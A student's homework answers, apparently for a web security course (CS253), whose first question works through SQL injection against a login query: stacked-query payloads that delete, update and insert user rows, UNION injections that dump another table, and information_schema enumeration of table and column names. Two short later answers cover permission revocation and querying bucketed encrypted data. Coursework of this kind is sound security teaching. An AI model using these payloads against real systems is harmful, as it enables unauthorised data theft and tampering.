CS253 HW3

Question1

```
email = ?
passowrd = ?
```

```
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx');
```

Deleting data:

Assume we want to delete the data whose email='noob', then we let

```
email = xxx@xxx.xxx
password = xxx'); DELETE FROM users WHERE email='noob'; #
```

```
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx'); DELETE FROM users WHERE email='no
```

Updating data:

Assume we want to update the password of user whose email='noob' to '114514', then we let

```
email = xxx@xxx.xxx
password = xxx'); UPDATE users SET password=md5('114514') WHERE email='email';#
```

```
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx'); UPDATE users SET password=md5('11
```

Inserting data:

Assume we want to insert the data whose email='noob'&password='114514', then we let

```
email = xxx@xxx.xxx
password = xxx'); INSERT INTO users (email, password) values ('noob',md5('114514')); #
```

```
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx'); INSERT INTO users (email, passwor
```

Query another table:

Assume the name of another table is `department` and we want to get all the data of it, then we let

```
email = xxx@xxx.xxx
password = xxx') OR 1=1 UNION select * FROM department;#
```

```
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') UNION select * FROM department;#')
```

Unknown table name

Firstly, we extract the table name from `information_schema` ,which is a mysql built-in database. We let

```
email = xxx@xxx.xxx
password = xxx') UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema=database();#
```

```
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') UNION SELECT 1,2,table_name FROM i
```

Secondly, we extract the column name of target table `department` . We let

```
email = xxx@xxx.xxx
password = xxx') UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name="department";#
```

```
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') UNION SELECT 1,2,column_name FROM
```

Now we can repeat the operation in **Question: Query another table** and extract all the data we want.

Question2

`Read` and `Delete` must be revoked.

Question3

`75k` belongs to `70-80k` , which is mapped to `4` . Thus we decrypt all the data in `4` and filter out data $\leq$ `75k` . Finally we put these data and data in `5` and `6` together.